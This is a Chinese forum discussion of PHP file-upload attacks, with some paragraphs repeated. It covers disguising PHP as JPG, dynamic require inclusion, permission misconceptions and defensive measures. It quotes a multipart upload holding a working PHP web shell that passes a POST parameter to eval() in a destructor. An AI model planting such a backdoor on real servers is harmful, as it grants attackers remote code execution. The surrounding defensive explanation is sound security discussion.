上面有人说了 文件后缀 和 Mime Type,这俩种可以防住从 web 进行访问从而执行 shell。
但是,如果项目里面有 动态的 require 能被控制利用的话,还是存在问题。
即使是你把 php 文件名改成 jpg。只需要在真实的 jpg 文件后面添加了php代码,当你在 require 的时候,php 就会尝试去执行和解析里面的代码,同样能造成安全问题。
其次,有些人对执行权限(x)有所误解,即使你去掉了 x 权限,你会发现 php 代码仍然是可以运行的,因为 x 权限是指直接运行一个文件。./index.php
类似于这样,而实际上运行的时候,都是有 php 去解释执行的,对于 .php 文件,只需要有读取权限,能读取到就行了。
他们是通过修改上传文件内容,然后修改文件头的方式,把上传文件伪装为合法的jpg,但是文件内容其实是php文件
Content-Disposition: form-data; name="file"; filename="4.php"
Content-Type: application/zip
<?php
class Test{public $name = '';function __destruct(){ @eval("$this->name"); }}
$test= new Test();
$p = @$_POST['p'];
$test->name = $p;
?>
删除,并且修改上传文件权限为 0444,不要赋予 1 权限
对这句话提出两点质疑
- 上传目录只读的话你怎么上传新文件?
- 「不要赋予 1 权限」,我理解意思是不赋予执行权限:
- 如果是对于目录不赋予执行权限,那怎么读取其中的内容?
- 如果是对文件不赋予执行权限意义又在哪里?众所周知 PHP 是解释型语言,是通过解释器解释并运行,被解释文件只需读权限即可,给不给执行权限又有什么区别呢?
想问一下各位,这种木马文件是用什么文件写的?是编译后的 PHP 文件吗?
首先,还是那句话,众所周知 PHP 是解释型语言,并非编译型语言,这点要分清!
忽略上方乱码内容只看最后两行就行。在 PHP 解释执行时,未被 PHP 标记符(例如 <?php ?>
<? ?>
<?= ?>
)包裹的内容会原样输出,这也是能在 PHP 文件中混淆 html 代码的原因
基本防御措施:
- php.ini禁用危险函数(做了这个能拦掉很大一部分常见的攻击方式)
- 检查目录权限分配是否合理
- 访问入口和上传入口最好和源码隔开(类似现在框架的访问入口都在public下)
- 检查当前框架版本号、PHP版本号,是否存在未修复漏洞,是的话进行升级修复
- 运行环境、用户、权限、资源的分配遵循最小原则
然后和大家分享下常见的文件上传攻击方式,一般此类攻击会分2步动作,一是找到上传接口上传非法文件埋下伏笔,二是获得执行契机,那么我们如何做好防范呢?
首先最基本的,你得检测上传文件后缀(很多人会说后缀可以改,这是无用的,错!!!这是非常有用且必须做的,后面我会解释),然后类似一些图片、视频、音频等一些资源,你也可以附带检测一下MIME类型。这两项安全验证,不管对于何种语言,都是比较容易做到的,很多内置库就能干,编写成本低,是比较实际的做法,做好这两项检测,你的接口已经基本安全了。更全面的防范,你可以检测文件元数据,这需要你有比较高的代码水平、对各种格式元数据了解、对API响应效率是个考验。
上面我说的2步攻击动作,第1步其实比较容易实现(即使你做了我说的2个安全验证,也是无法阻止这一步的),项目的整体安全防范做到位的情况下,第2步是很难实现的。
为什么说第1步容易实现呢,前面也有同学列举了一些攻击方式,我可以伪装文件后缀,那么你的文件后缀验证就无法拦截了,咦,但是我MIME类型检查可以拦截啊,然而道高一尺魔高一丈,你拦我MIME类型,那我就传一张真实图片给你,我在图片元数据参入PHP代码,成功KO你。
好,这里解释前面为什么说要验证文件后缀了,比如我验证文件后缀,强制要求你只能传.jpg
等格式文件,不允许你传.php
等文件,那么你即使把.php
文件改为.jpg
文件上传了,那么你做不到我上面说的2步攻击的第2步:攻击契机,因为你传的是.jpg
格式,你无法借助我服务器现有的PHP解释器,进行web访问方式进行攻击,你可能会需要进行脚本执行方式攻击,但因为我服务器整体防范到位,你很难获得到我服务器的shell之类的权限,所以你也有无法拥有攻击契机,这就是为什么要你验证后缀的原因,它并不仅仅是能否验证真实文件的问题
上面有人说了 文件后缀 和 Mime Type,这俩种可以防住从 web 进行访问从而执行 shell。
但是,如果项目里面有 动态的 require 能被控制利用的话,还是存在问题。
即使是你把 php 文件名改成 jpg。只需要在真实的 jpg 文件后面添加了php代码,当你在 require 的时候,php 就会尝试去执行和解析里面的代码,同样能造成安全问题。
其次,有些人对执行权限(x)有所误解,即使你去掉了 x 权限,你会发现 php 代码仍然是可以运行的,因为 x 权限是指直接运行一个文件。./index.php
类似于这样,而实际上运行的时候,都是有 php 去解释执行的,对于 .php 文件,只需要有读取权限,能读取到就行了。
推荐文章: